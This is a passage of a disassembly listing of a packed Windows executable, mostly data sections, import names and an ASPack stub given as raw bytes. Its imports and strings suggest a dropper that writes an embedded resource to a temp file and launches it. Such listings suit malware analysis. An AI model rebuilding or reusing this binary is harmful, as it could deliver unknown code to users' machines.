terminate it in an ' db 'unusual way.',0Ah db 'Please contact the application',27h,'s support team for more informa' db 'tion.',0Dh,0Ah,0 align 4 aR6009NotEnough db 'R6009',0Dh,0Ah db '- not enough space for environment',0Dh,0Ah,0 aR6008NotEnough db 'R6008',0Dh,0Ah db '- not enough space for arguments',0Dh,0Ah,0 align 10h aR6002FloatingP db 'R6002',0Dh,0Ah ; DATA XREF: .data:off_407044o db '- floating point not loaded',0Dh,0Ah,0 align 4 aRuntimeErrorPr db 'Runtime Error!',0Ah ; DATA XREF: sub_4018FC+F5o db 0Ah db 'Program: ',0 word_405752 dw 0 ; DATA XREF: sub_401C1D+1Bo align 8 stru_405758 _msEH <0FFFFFFFFh, offset loc_402249, offset loc_40224D> ; DATA XREF: sub_40221C+2o align 8 stru_405768 _msEH <0FFFFFFFFh, offset sub_40228D, offset sub_402291> ; DATA XREF: .text:00402262o aGetprocesswind db 'GetProcessWindowStation',0 ; DATA XREF: sub_40234D+73o aGetuserobjecti db 'GetUserObjectInformationA',0 ; DATA XREF: sub_40234D+62o align 4 aGetlastactivep db 'GetLastActivePopup',0 ; DATA XREF: sub_40234D+47o align 4 aGetactivewindo db 'GetActiveWindow',0 ; DATA XREF: sub_40234D+3Fo aMessageboxa db 'MessageBoxA',0 ; DATA XREF: sub_40234D+2Eo aUser32_dll db 'user32.dll',0 ; DATA XREF: sub_40234D+13o align 4 dd 41h dup(0) asc_4058E8: ; DATA XREF: .data:off_407280o unicode 0, < ((((( H> dw 10h dd 7 dup(100010h), 5 dup(840084h), 3 dup(100010h), 810010h dd 2 dup(810081h), 10081h, 9 dup(10001h), 100001h, 2 dup(100010h) dd 820010h, 2 dup(820082h), 20082h, 9 dup(20002h), 100002h dd 100010h, 200010h, 40h dup(0) dword_405AE8 dd 200000h, 4 dup(200020h), 280068h, 280028h, 200028h ; DATA XREF: .data:00407284o dd 8 dup(200020h), 480020h, 7 dup(100010h), 840010h, 4 dup(840084h) dd 100084h, 3 dup(100010h), 3 dup(1810181h), 0Ah dup(1010101h) dd 3 dup(100010h), 3 dup(1820182h), 0Ah dup(1020102h) dd 2 dup(100010h), 10h dup(200020h), 480020h, 8 dup(100010h) dd 140010h, 100014h, 2 dup(100010h), 100014h, 2 dup(100010h) dd 1010010h, 0Bh dup(1010101h), 1010010h, 3 dup(1010101h) dd 0Ch dup(1020102h), 1020010h, 3 dup(1020102h), 1010102h dword_405CEC dd 0 ; DATA XREF: sub_403FCA+1Co ; sub_404386+1Eo stru_405CF0 _msEH <0FFFFFFFFh, offset loc_4042C3, offset loc_4042C7> ; DATA XREF: sub_403FCA+2o dd 0FFFFFFFFh, 4040C0h, 4040C4h, 0FFFFFFFFh, 40418Eh, 404192h dd 0 stru_405D18 _msEH <0FFFFFFFFh, offset loc_40445F, offset loc_404463> ; DATA XREF: sub_404386+2o align 8 stru_405D28 _msEH <0FFFFFFFFh, offset loc_404A15, offset loc_404A19> ; DATA XREF: sub_404943+2o align 8 dd 48h, 0Eh dup(0) dd offset dword_407030 dd offset dword_405DE0 dd 2, 53445352h, 0BEEBAFAAh, 425BF78Dh, 3B28229Ch, 50120460h dd 1 aPProjectsKlikt db 'p:\Projects\Kliktanje\FileInstall\Release\FileInstall.pdb',0 align 10h dword_405DE0 dd 1660h, 272Ch, 0 ; DATA XREF: .rdata:00405D78o dword_405DEC dd 2 dup(0) ; DATA XREF: sub_40221C+Co ; sub_40221C:loc_40222Fo dword_405DF4 dd 0 ; DATA XREF: .text:0040226Co ; sub_402291:loc_402273o dd offset dword_405F24 dd 2 dup(0) dd offset dword_405F24 dd offset dword_405F24 dd offset dword_405F2C dd 2 dup(0) dd offset dword_405F2C dd offset dword_405F2C dd 5 dup(0) dd 5F30h, 5F3Eh, 5F4Ah, 5F58h, 5F68h, 5F7Ah, 5F8Ah, 5F9Ah dd 5FA8h, 5FB8h, 5FC6h, 5FD8h, 5FE8h, 5FF4h, 6000h, 6016h dd 6348h, 6336h, 6056h, 6064h, 6078h, 608Ah, 609Ch, 60ACh dd 60C6h, 60D6h, 60ECh, 6102h, 611Ch, 6130h, 6144h, 6154h dd 6170h, 618Ah, 61A2h, 61BCh, 61D2h, 61E2h, 61FCh, 620Eh dd 621Ch, 622Ah, 6238h, 6246h, 6252h, 625Eh, 6274h, 6284h dd 628Eh, 629Ah, 62A6h, 62B2h, 62C2h, 62D0h, 62DCh, 62ECh dd 6302h, 6312h, 6324h, 635Ah dword_405F24 dd 0 ; DATA XREF: .rdata:00405DF8o ; .rdata:00405E04o ... dd 603Ah dword_405F2C dd 0 ; DATA XREF: .rdata:00405E0Co ; .rdata:00405E18o ... db 2Eh ; . align 2 aClosehandle db 'CloseHandle',0 dw 394h aWritefile db 'WriteFile',0 aM db 'M',0 aCreatefilea db 'CreateFileA',0 db 5Bh ; [ db 2, 4Ch, 6Fh aCkresource db 'ckResource',0 align 4 db 46h ; F db 3, 53h, 69h aZeofresource db 'zeofResource',0 align 2 dw 24Dh aLoadresource db 'LoadResource',0 align 2 db 'Ú',0 aFindresourcea db 'FindResourceA',0 dw 265h aMovefileexa db 'MoveFileExA',0 db 0CBh ; Ë db 1, 47h, 65h aTtemppatha db 'tTempPathA',0 align 4 aQ db 'ï',0 aFreelibrary db 'FreeLibrary',0 dw 198h aGetprocaddress db 'GetProcAddress',0 align 4 db 48h ; H db 2, 4Ch, 6Fh aAdlibrarya db 'adLibraryA',0 align 4 db 0ADh ; db 3, 6Ch, 73h aTrcata db 'trcatA',0 align 4 db 0B9h ; ¹ db 3, 6Ch, 73h aTrcpyna db 'trcpynA',0 db 0B9h ; ¹ db 1, 47h, 65h aTsystemdirecto db 'tSystemDirectoryA',0 dw 175h aGetmodulefilen db 'GetModuleFileNameA',0 align 4 aKernel32_dll db 'KERNEL32.dll',0 align 2 dw 106h aShellexecutea db 'ShellExecuteA',0 aShell32_dll db 'SHELL32.dll',0 aP db '¯',0 aExitprocess db 'ExitProcess',0 db 77h ; w db 1, 47h, 65h aTmodulehandlea db 'tModuleHandleA',0 align 4 db 0AFh ; ¯ db 1, 47h, 65h aTstartupinfoa db 'tStartupInfoA',0 dw 108h aGetcommandline db 'GetCommandLineA',0 db 0DFh ; ß db 1, 47h, 65h aTversionexa db 'tVersionExA',0 db 97h ; — db 2, 51h, 75h aEryperformance db 'eryPerformanceCounter',0 dw 1D5h aGettickcount db 'GetTickCount',0 align 2 dw 13Eh aGetcurrentthre db 'GetCurrentThreadId',0 align 4 db 3Bh ; ; db 1, 47h, 65h aTcurrentproces db 'tCurrentProcessId',0 dw 1C0h aGetsystemtimea db 'GetSystemTimeAsFileTime',0 db 4Fh ; O db 3, 54h, 65h aRminateprocess db 'rminateProcess',0 align 10h db 3Ah ; : db 1, 47h, 65h aTcurrentproc_0 db 'tCurrentProcess',0 db 0B1h ; ± db 1, 47h, 65h aTstdhandle db 'tStdHandle',0 align 4 db 60h ; ` db 3, 55h, 6Eh aHandledexcepti db 'handledExceptionFilter',0 align 10h aA db 'í',0 aFreeenvironmen db 'FreeEnvironmentStringsA',0 dw 14Dh aGetenvironment db 'GetEnvironmentStrings',0 aU db 'î',0 aFreeenvironm_0 db 'FreeEnvironmentStringsW',0 db 87h ; ‡ db 3, 57h, 69h aDechartomultib db 'deCharToMultiByte',0 dw 169h aGetlasterror db 'GetLastError',0 align 2 dw 14Fh aGetenvironme_0 db 'GetEnvironmentStringsW',0 align 4 dd 65530317h, 6E614874h, 43656C64h, 746E756Fh, 15E0000h dd 46746547h, 54656C69h, 657079h, 6548020Ah, 65447061h dd 6F727473h, 2080079h, 70616548h, 61657243h, 6574h, 69560376h dd 61757472h, 6572466Ch, 20C0065h, 70616548h, 65657246h dd 2CA0000h, 556C7452h, 6E69776Eh, 21F0064h aInterlockedexc db 'InterlockedExchange',0 db 7Bh ; { db 3, 56h, 69h aRtualquery db 'rtualQuery',0 align 4 db 0F5h ; õ align 2 aGetacp db 'GetACP',0 align 2 dw 18Bh aGetoemcp db 'GetOEMCP',0 align 2 dw 0FCh aGetcpinfo db 'GetCPInfo',0 dw 206h aHeapalloc db 'HeapAlloc',0 dw 373h aVirtualalloc db 'VirtualAlloc',0 align 2 dw 210h aHeaprealloc db 'HeapReAlloc',0 db 12h db 2, 48h, 65h aApsize db 'apSize',0 align 4 db 3Ah ; : db 2, 4Ch, 43h aMapstringa db 'MapStringA',0 align 4 db 6Bh ; k db 2, 4Dh, 75h aLtibytetowidec db 'ltiByteToWideChar',0 dw 23Bh aLcmapstringw db 'LCMapStringW',0 align 2 dw 1B2h aGetstringtypea db 'GetStringTypeA',0 align 4 dd 654701B5h, 72745374h, 54676E69h, 57657079h, 16C0000h dd 4C746547h, 6C61636Fh, 666E4965h, 416Fh, 69560379h, 61757472h dd 6F72506Ch, 74636574h, 1BB0000h, 53746547h, 65747379h dd 666E496Dh, 6Fh, 325h dup(0) _rdata ends ; Section 3. (virtual address 00007000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 00007000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _data segment para public 'DATA' use32 assume cs:_data ;org 407000h dword_407000 dd 0 ; DATA XREF: sub_401761+75o dd offset sub_40145D dword_407008 dd 0 ; DATA XREF: sub_401761+7Co dword_40700C dd 0 ; DATA XREF: sub_401761+42o dd offset sub_402AB7 dd offset sub_402EED dword_407018 dd 0 ; DATA XREF: sub_401761+47o dword_40701C dd 0 ; DATA XREF: sub_4017FB:loc_401862o dword_407020 dd 0 ; DATA XREF: sub_4017FB+6Co dword_407024 dd 0 ; CODE XREF: sub_401761+23p ; DATA XREF: sub_4017FB:loc_401881o dword_407028 dd 2 dup(0) ; DATA XREF: sub_4017FB+8Bo dword_407030 dd 0FCEE04D4h ; DATA XREF: sub_401090+6r sub_40124Er ... off_407034 dd offset sub_4018CD ; DATA XREF: sub_40125C+1Cr dword_407038 dd 2 ; DATA XREF: sub_4018FC+58r ; sub_401A73+Er align 10h dword_407040 dd 2 ; DATA XREF: sub_4018FC:loc_401922r ; sub_4018FC+3Ar off_407044 dd offset aR6002FloatingP ; DATA XREF: sub_4018FC+D5r ; sub_4018FC+112r ... ; "R6002\r\n- floating point not loaded\r\n" dd 8, 4056E4h, 9, 4056B8h, 0Ah, 405620h, 10h, 4055F4h dd 11h, 4055C4h, 12h, 4055A0h, 13h, 405574h, 18h, 40553Ch dd 19h, 405514h, 1Ah, 4054DCh, 1Bh, 4054A4h, 1Ch, 40547Ch dd 1Dh, 4053D8h, 78h, 4053C4h, 79h, 4053B4h, 7Ah, 4053A4h dd 0FCh, 4053A0h, 0FFh, 405390h dword_4070D8 dd 0C0000005h, 0Bh, 0 ; DATA XREF: sub_401AAC+Co dd 0C000001Dh, 4, 0 dd 0C0000096h, 4, 0 dd 0C000008Dh, 8, 0 dd 0C000008Eh, 8, 0 dd 0C000008Fh, 8, 0 dd 0C0000090h, 8, 0 dd 0C0000091h, 8, 0 dd 0C0000092h, 8, 0 dd 0C0000093h, 8, 0 dword_407150 dd 3 ; DATA XREF: sub_401AAC+84r dword_407154 dd 7 ; DATA XREF: sub_401AAC+89r dword_407158 dd 0Ah ; DATA XREF: sub_401AAC+6r dword_40715C dd 8Ch ; DATA XREF: sub_401AAC+B2r ; sub_401AAC+BAw ... dd 0FFFFFFFFh, 0A80h, 10h, 0 dword_407170 dd 19930520h, 3 dup(0) ; DATA XREF: .text:004027DBo ; sub_4027E2+2o byte_407180 db 1 ; DATA XREF: sub_402D07+120r db 2, 4, 8 align 8 dword_407188 dd 3A4h ; DATA XREF: sub_402D07:loc_402D82r dword_40718C dd 82798260h ; DATA XREF: sub_402D07+15Cr dd 21h, 0 dword_407198 dd 0DFA6h ; DATA XREF: sub_402D07+100r align 10h dd 0A5A1h, 0 dd 0FCE09F81h, 0 dd 0FC807E40h, 0 dd 3A8h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE40h, 0 dd 3B5h, 0A3DAA3C1h, 20h, 5 dup(0) dd 0FE81h, 0 dd 0FE41h, 0 dd 3B6h, 0A2E4A2CFh, 0A2E5001Ah, 5BA2E8h, 4 dup(0) dd 0FE81h, 0 dd 0FEA17E40h, 0 dd 551h, 0DA5EDA51h, 0DA5F0020h, 32DA6Ah, 4 dup(0) dd 0DED8D381h, 0F9E0h, 0FE817E31h, 3 dup(0) off_407280 dd offset asc_4058E8 ; DATA XREF: sub_402ADF+18r ; sub_404CC2:loc_404D44r ... ; " ((((( H" dd offset dword_405AE8+2 dd 1, 0 dword_407290 dd 1 ; DATA XREF: sub_404CC2:loc_404D2Fr dd 2Eh, 1, 0 dword_4072A0 dd 0 ; DATA XREF: .text:0040139Dw ; sub_401C7A:loc_401C8Cr ... align 8 dword_4072A8 dd 0 ; DATA XREF: sub_40125Cr ; .text:00401353r ... dword_4072AC dd 0 ; DATA XREF: .text:004014DAr dd 3 dup(0) dword_4072BC dd 2 ; DATA XREF: .text:004012AAw ; sub_4022A4r ... dword_4072C0 dd 0A28h ; DATA XREF: .text:004012CAw ; .text:004012DBw dword_4072C4 dd 501h ; DATA XREF: .text:004012E6w dword_4072C8 dd 5 ; DATA XREF: .text:004012B3w ; sub_4022A4+9r ... dword_4072CC dd 1 ; DATA XREF: .text:004012BBw dword_4072D0 dd 1 ; DATA XREF: sub_401EAD+8Fw dword_4072D4 dd 370B20h ; DATA XREF: sub_401EAD+95w dd 0 dword_4072DC dd 370B40h ; DATA XREF: sub_401C7A+48w ; sub_401C7A:loc_401D2Br ... dd 3 dup(0) off_4072EC dd offset aCM_unpackerPac ; DATA XREF: sub_401EAD+37w ; "C:\\m_unpacker\\packed.exe" dd 0 byte_4072F4 db 0 ; DATA XREF: sub_4017FB+2Dw align 4 dword_4072F8 dd 1 ; DATA XREF: sub_4017FB+27w dword_4072FC dd 1 ; DATA XREF: sub_4017FB+7r ; sub_4017FB+B0w dword_407300 dd 0 ; DATA XREF: sub_401A73+21r dword_407304 dd 0 ; DATA XREF: sub_401AAC+68r ; sub_401AAC+73w ... aCM_unpackerPac db 'C:\m_unpacker\packed.exe',0 ; DATA XREF: sub_401EAD+1Co ; .data:off_4072ECo align 4 dd 3Ah dup(0) byte_40740C db 0 ; DATA XREF: sub_401EAD+23w align 10h dword_407410 dd 1 ; DATA XREF: sub_401F4F+2r ; sub_401F4F+24w ... dword_407414 dd 0 ; DATA XREF: sub_40234D+9r ; sub_40234D+38w ... dword_407418 dd 0 ; DATA XREF: sub_40234D+4Dw ; sub_40234D:loc_402412r dword_40741C dd 0 ; DATA XREF: sub_40234D+5Bw ; sub_40234D+D6r dword_407420 dd 0 ; DATA XREF: sub_40234D+7Bw ; sub_40234D:loc_4023CDr dword_407424 dd 0 ; DATA XREF: sub_40234D+6Cw ; sub_40234D+9Cr dword_407428 dd 0 ; DATA XREF: sub_4027FA:loc_402881r ; sub_4027FA+13Fr ... align 10h dword_407430 dd 0 ; DATA XREF: sub_4027FA:loc_402894r ; sub_4027FA+1C4r ... dd 0Fh dup(0) dword_407470 dd 0 ; DATA XREF: sub_4027FA+12Co ; sub_4027FA+191o ... dword_407474 dd 1 ; DATA XREF: sub_402D07+19w ; sub_402D07+21w ... align 10h dword_407480 dd 0 ; DATA XREF: sub_403FCA+265r ; sub_404386+14Ar ... align 10h dword_407490 dd 0 ; DATA XREF: sub_402D07+4Fr ; sub_403FCA+9Dr ... align 8 dword_407498 dd 1 ; DATA XREF: sub_403FCA+Er ; sub_403FCA+31w ... dword_40749C dd 1 ; DATA XREF: sub_404386+Er ; sub_404386+2Ew ... dword_4074A0 dd 0 ; DATA XREF: sub_404540r dword_4074A4 dd 0 ; DATA XREF: sub_402FB5r ; sub_403E30:loc_403F39r ... dword_4074A8 dd 0 ; DATA XREF: sub_40330D+21w ; sub_403380+21Cr ... dword_4074AC dd 0 ; DATA XREF: sub_40330D+28w ; sub_403355r ... dword_4074B0 dd 0 ; DATA XREF: sub_40330D+15w ; sub_403355+8r ... dword_4074B4 dd 0 ; DATA XREF: sub_402F43+Er ; sub_40330D+36w ... dword_4074B8 dd 0 ; DATA XREF: sub_40330D+2Fw ; sub_403380+300w ... dword_4074BC dd 0 ; DATA XREF: sub_40330D+3Cw ; sub_403698+5r ... dword_4074C0 dd 0 ; DATA XREF: sub_403380+229r ; sub_403380+249r ... dword_4074C4 dd 0 ; DATA XREF: sub_402B52+1Aw ; sub_402B7B+84r ... dword_4074C8 dd 0 ; DATA XREF: sub_402B52+15w ; sub_402D07+14Dw ... dd 5 dup(0) byte_4074E0 db 0 ; DATA XREF: sub_402B52+6o ; sub_402D07+A7o ... byte_4074E1 db 0 ; DATA XREF: sub_401D41+47r ; sub_401D41+11Dr ... align 4 dd 0Fh dup(0) dd 10100000h, 6 dup(10101010h), 0 dd 20200000h, 6 dup(20202020h), 2 dup(0) dd 20h, 10000000h, 10001000h, 2 dup(0) dd 20000000h, 20002000h, 10h, 0 dd 20000000h, 2 dup(0) dd 200000h, 20000000h, 0 dd 10101000h, 5 dup(10101010h), 10101000h, 10101010h, 6 dup(20202020h) dd 20202000h, 20202020h, 20h dword_4075E4 dd 4E4h ; DATA XREF: sub_402B52+10w ; sub_402B7B+16r ... align 10h dword_4075F0 dd 4 dup(0) ; DATA XREF: sub_402B52+1Fo ; sub_402D07+162o ... byte_407600 db 0 ; DATA XREF: sub_402B7B:loc_402C8Dw ; sub_402B7B:loc_402CAAw ... align 4 dd 0Fh dup(0) dd 63626100h, 67666564h, 6B6A6968h, 6F6E6D6Ch, 73727170h dd 77767574h, 7A7978h, 0 dd 43424100h, 47464544h, 4B4A4948h, 4F4E4D4Ch, 53525150h dd 57565554h, 5A5958h, 0 dd 83000000h, 0 dd 9A0000h, 9E009Ch, 2 dup(0) dd 8A0000h, 0FF8E008Ch, 2 dup(0) dd 0AA0000h, 2 dup(0) dd 0B500h, 0BA0000h, 0 dd 0E3E2E1E0h, 0E7E6E5E4h, 0EBEAE9E8h, 0EFEEEDECh, 0F3F2F1F0h dd 0F6F5F4h, 0FBFAF9F8h, 0DFFEFDFCh, 0C3C2C1C0h, 0C7C6C5C4h dd 0CBCAC9C8h, 0CFCECDCCh, 0D3D2D1D0h, 0D6D5D4h, 0DBDAD9D8h dd 9FDEDDDCh dword_407700 dd 370000h ; DATA XREF: sub_4022BE+19w ; sub_4022BE+3Er ... dword_407704 dd 1 ; DATA XREF: sub_4022BE+28w ; sub_402F0B+9r ... dword_407708 dd 20h ; DATA XREF: sub_402071+1Fw ; sub_402071:loc_4020FAr ... dd 5 dup(0) dword_407720 dd 370650h ; DATA XREF: sub_402071:loc_40208Bw ; sub_402071+3Cr ... dword_407724 dd 3Fh dup(0) ; DATA XREF: sub_402071+91o dword_407820 dd 1 ; DATA XREF: sub_401C7A+9Fw dword_407824 dd 370754h ; DATA XREF: sub_4017FB+3Er ; sub_4017FB:loc_40184Dr ... dword_407828 dd 370758h ; DATA XREF: sub_4017FB+34r ; sub_4017FB+5Ar ... dword_40782C dd 1 ; DATA XREF: sub_401C1D+4r ; sub_401C7A+3r ... dword_407830 dd 0 ; DATA XREF: sub_401761:loc_401791r dword_407834 dd 142340h ; DATA XREF: .text:00401393w ; sub_401C1D:loc_401C2Er ... align 800h _data ends ; Section 5. (virtual address 0002C000) ; Virtual size : 00002000 ( 8192.) ; Section size in file : 00002000 ( 8192.) ; Offset to raw data for section: 0002C000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _aspack segment para public 'DATA' use32 assume cs:_aspack ;org 42C000h db 90h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn public start start proc near pusha call near ptr loc_42C007+3 loc_42C007: ; CODE XREF: start+1p jmp near ptr 459FC4F7h start endp ; --------------------------------------------------------------------------- dd 1E8C355h, 0EB000000h, 0FFEDBB5Dh, 0DD03FFFFh, 0C000EB81h dd 0BD830002h, 422h, 229D8900h, 0F000004h, 36585h, 2E858D00h dd 50000004h, 0F4D95FFh, 85890000h, 426h, 5D8DF88Bh, 0FF50535Eh dd 0F4995h, 4D858900h, 8D000005h, 57536B5Dh, 0F4995FFh dd 85890000h, 551h, 0FF77458Dh, 726956E0h, 6C617574h, 6F6C6C41h dd 69560063h, 61757472h, 6572466Ch, 9D8B0065h, 531h, 0A74DB0Bh dd 8587038Bh, 535h, 0B58D0389h, 569h, 0F003E83h, 12184h dd 68046A00h, 1000h, 180068h, 0FF006A00h, 54D95h, 56858900h dd 8B000001h, 0E050446h, 6A000001h, 10006804h, 6A500000h dd 4D95FF00h, 89000005h, 15285h, 1E8B5600h, 4229D03h, 0B5FF0000h dd 156h, 500476FFh, 56EE853h, 1B30000h, 7500FB80h, 0EC85FE5Eh dd 8B000000h, 22BD033Eh, 0FF000004h, 0C307C637h, 78FD7FFh dd 53565150h, 0E983C88Bh, 52B58B06h, 33000001h, 74C90BDBh dd 0AC2C782Eh, 0A74E83Ch, 0E93C00EBh, 49430474h, 68BEBEBh dd 3E8000EBh, 24F37503h, 18C0C100h, 689C32Bh, 8305C383h dd 0E98304C6h, 5BCEEB05h, 0EB58595Eh, 39000008h, 37000000h dd 8BC88B00h, 22BD033Eh, 8B000004h, 152B5h, 2F9C100h, 0C88BA5F3h dd 0F303E183h, 685EA4h, 6A000080h, 52B5FF00h, 0FF000001h dd 55195h, 8C68300h, 0F003E83h, 0FFFF1E85h, 800068FFh dd 6A0000h, 156B5FFh, 95FF0000h, 551h, 5319D8Bh, 0DB0B0000h dd 38B0874h, 5358587h, 958B0000h, 422h, 52D858Bh, 0D02B0000h dd 0C28B7974h, 3310E8C1h, 39B58BDBh, 3000005h, 422B5h dd 3E8300h, 4E8B6174h, 8E98304h, 3E8BE9D1h, 422BD03h, 0C6830000h dd 1E8B6608h, 830CEBC1h, 0C7401FBh, 7402FB83h, 3FB8316h dd 2CEB2074h, 811E8B66h, 0FFFE3h, 4016600h, 661DEB1Fh dd 0E3811E8Bh, 0FFFh, 1F140166h, 8B660EEBh, 0FFE3811Eh dd 100000Fh, 0EB1F14h, 0FF0E8366h, 0E202C683h, 8B9AEBB4h dd 42295h, 41B58B00h, 0B000005h, 31174F6h, 0C00BADF2h dd 0C2030A74h, 0AD66F88Bh, 0F1EBAB66h, 5DF8BEh, 22958B00h dd 3000004h, 0C468BF2h, 840FC085h, 10Ah, 0D88BC203h, 4D95FF50h dd 8500000Fh, 530775C0h, 0F5195FFh, 85890000h, 545h, 54985C7h dd 0 dd 958B0000h, 422h, 0C085068Bh, 468B0375h, 3C20310h, 54985h dd 8B188B00h, 0FA03107Eh, 549BD03h, 0DB850000h, 0A2840Fh dd 0C3F70000h, 80000000h, 0DA030475h, 81534343h, 0FFFFFFE3h dd 0B5FF537Fh, 545h, 0F4995FFh, 0C0850000h, 0F76F755Bh dd 0C3h, 57197580h, 30C468Bh, 42285h, 8D535000h, 47585h dd 0E9575000h, 98h, 0FFFFE381h, 858B7FFFh, 426h, 5458539h dd 24750000h, 4AD38B57h, 8B02E2C1h, 5459Dh, 3C7B8B00h dd 783B7C8Bh, 1C3B5C03h, 313048Bh, 54585h, 16EB5F00h, 0C468B57h dd 4228503h, 53500000h, 4C6858Dh, 57500000h, 7894AEBh dd 5498583h, 0E9040000h, 0FFFFFF32h, 46890689h, 1046890Ch dd 8B14C683h, 42295h, 0FEEBE900h, 81B8FFFFh, 50000012h dd 4228503h, 0B590000h, 0A88589C9h, 61000003h, 1B80875h dd 0C2000000h, 8168000Ch, 0C3004012h, 426858Bh, 8D8D0000h dd 43Bh, 95FF5051h, 0F49h, 5558589h, 858D0000h, 447h, 5195FF50h dd 8900000Fh, 42A85h, 528D8D00h, 51000004h, 4995FF50h dd 8900000Fh, 55985h, 2A858B00h, 8D000004h, 45E8Dh, 0FF505100h dd 0F4995h, 83D0FF00h, 6A5F10C4h, 689D8D30h, 53000004h dd 0FF006A57h, 55995h, 0FFFF6A00h, 55595h, 40000000h, 0E6000000h dd 77h, 72656B00h, 336C656Eh, 6C642E32h, 7845006Ch, 72507469h dd 7365636Fh, 73750073h, 32337265h, 6C6C642Eh, 73654D00h dd 65676173h, 41786F42h, 70737700h, 746E6972h, 4C004166h dd 4544414Fh, 52452052h, 524F52h, 20656854h, 636F7270h dd 72756465h, 6E652065h, 20797274h, 6E696F70h, 73252074h dd 756F6320h, 6E20646Ch, 6220746Fh, 6F6C2065h, 65746163h dd 6E692064h, 65687420h, 6E796420h, 63696D61h, 6E696C20h dd 696C206Bh, 72617262h, 73252079h, 65685400h, 64726F20h dd 6C616E69h, 20752520h, 6C756F63h, 6F6E2064h, 65622074h dd 636F6C20h, 64657461h, 206E6920h, 20656874h, 616E7964h dd 2063696Dh, 6B6E696Ch, 62696C20h, 79726172h, 732520h dd 248EBA52h, 0AAC9C3Bh, 321474C0h, 0D108B0D0h, 810673EAh dd 0A7F39AF2h, 75C8FEC1h, 92E7EBF2h, 0DB87C35Ah, 400000h dd 5 dup(0) dd 773D0000h, 4, 77E7980Ah, 77E79E34h, 5 dup(0) dd 1000h, 4000h, 5000h, 2000h, 7000h, 1000h, 80F0h, 23F10h dd 34h dup(0) dd 1024448Bh, 354EC81h, 4C8D0000h, 0E8500424h, 3A8h, 5C248C8Bh dd 8B000003h, 3582494h, 52510000h, 0C244C8Dh, 40DE8h, 75C08400h dd 0FFC8830Ah, 354C481h, 8BC30000h, 360248Ch, 48D0000h dd 8D515024h, 0E80C244Ch, 5E8h, 0A75C084h, 81FFC883h, 354C4h dd 48BC300h, 54C48124h, 0C2000003h, 1000010h, 5040302h dd 0A080706h, 14100E0Ch, 28201C18h, 50403830h, 0A0807060h dd 0E0C0h, 0 dd 1010000h, 2020101h, 3030202h, 4040303h, 5050404h, 505h dd 1010000h, 3030202h, 5050404h, 7070606h, 9090808h, 0B0B0A0Ah dd 0D0D0C0Ch, 0F0F0E0Eh, 11111010h, 3 dup(11111111h), 2 dup(12121212h) dd 56D18B51h, 8B9h, 4A395700h, 53357204h, 0FFFFF8BEh, 8A028BFFh dd 5C884018h, 2890C24h, 8B08428Bh, 0C10C247Ch, 0E78108E0h dd 0FFh, 7A8BC70Bh, 89FE0304h, 0C78B0842h, 3B047A89h, 5BD273C1h dd 8B04728Bh, 7C8B0842h, 0CE2B1024h, 18B9E8D3h, 2B000000h dd 0FFFF25CFh, 0E8D300FFh, 895FF703h, 595E0472h, 8B0004C2h dd 8B042444h, 89082454h, 8481h, 88918900h, 8D000000h, 81898204h dd 8Ch, 10005h, 8C200h, 98EC81h, 55530000h, 57D18B56h dd 0FB9h, 84AA8B00h, 33000000h, 247C8DC0h, 0F3F6332Ch dd 24BC8BABh, 0ACh, 5489EE3Bh, 15762024h, 0C8AC933h, 8C5C8B38h dd 8C4C8D28h, 3B404328h, 721989C5h, 17B9EBh, 74890000h dd 72892824h, 44728904h, 68247489h, 7489FF33h, 44C71C24h dd 11024h, 4C890000h, 6A8D1824h, 24748908h, 34448B14h dd 3E0D32Ch, 0FF81F8h, 89010000h, 0F24247Ch, 8E87h, 34448B00h dd 7D8928h, 33C5D8Bh, 10F983C3h, 89404589h, 7C6C3444h dd 758B4Dh, 1024448Bh, 1C245C8Bh, 8CBA8Bh, 0EEC10000h dd 25CE8B10h, 0FFh, 0FB03CB2Bh, 0D18BD88Ah, 7489FB8Ah dd 0C38B1C24h, 1424748Bh, 6610E0C1h, 0E9C1C38Bh, 8BABF302h dd 24548BCAh, 3E18320h, 7C8BAAF3h, 4C8B2424h, 448B1824h dd 0C6831024h, 83494004h, 0F98304C5h, 24448909h, 244C8910h dd 24748918h, 628D0F14h, 81FFFFFFh, 0FFh, 5F0F7401h, 0C0325D5Eh dd 98C4815Bh, 0C2000000h, 828B0004h, 84h, 0C085C933h, 0B48B3B76h dd 0AC24h, 31048A00h, 2274C084h, 88BA8Bh, 0FF250000h, 8B000000h dd 89688444h, 0C033870Ch, 8B31048Ah, 8D68847Ch, 47688444h dd 828B3889h, 84h, 72C83B41h, 5D5E5FCCh, 815B01B0h, 98C4h dd 4C200h, 8B565351h, 68B57F1h, 8047883h, 88B3072h, 8841118Ah dd 890C2454h, 8488B08h, 0C24548Bh, 8108E1C1h, 0FFE2h, 8BCA0B00h dd 0C2830450h, 84889F8h, 5089CA8Bh, 8F98304h, 508BD073h dd 8408B04h, 8B9h, 0D3CA2B00h, 244E8BE8h, 0FFFE0025h, 73C13B00h dd 8C968B14h, 8B000000h, 10E9C1C8h, 1C8ADB33h, 0EBD38B11h dd 2C463B3Bh, 463B0A73h, 83D21B28h, 2CEB0AC2h, 7330463Bh dd 0BBA07h, 20EB0000h, 7334463Bh, 0CBA07h, 14EB0000h, 7338463Bh dd 0DBA07h, 8EB0000h, 1B3C463Bh, 0FC283D2h, 798B0E8Bh dd 89FA0304h, 1C8B0479h, 18B996h, 0C32B0000h, 0D35FCA2Bh dd 964C8BE8h, 8BC10344h, 888Eh, 8B5B5E00h, 0C3598104h dd 8B575653h, 33D233F9h, 68B78DC0h, 89000002h, 57E85616h dd 8A000002h, 403A308Ch, 0BB5E0044h, 1, 0D304C683h, 40D303E3h dd 723AF883h, 24448BDEh, 104F8D10h, 2D16850h, 48E80000h dd 50FFFFFDh, 8F8D1C6Ah, 0A0h, 0FFFD3AE8h, 86A50FFh, 1308F8Dh dd 2CE80000h, 50FFFFFDh, 8F8D136Ah, 1C0h, 0FFFD1EE8h, 608789FFh dd 5F000002h, 2F5055Eh, 0C25B0000h, 448B0004h, 0D18B0824h dd 4244C8Bh, 8D028957h, 8890442h, 200440C7h, 89000000h dd 82891042h, 0A0h, 1308289h, 82890000h, 1C0h, 0BDB9C033h dd 89000000h, 25082h, 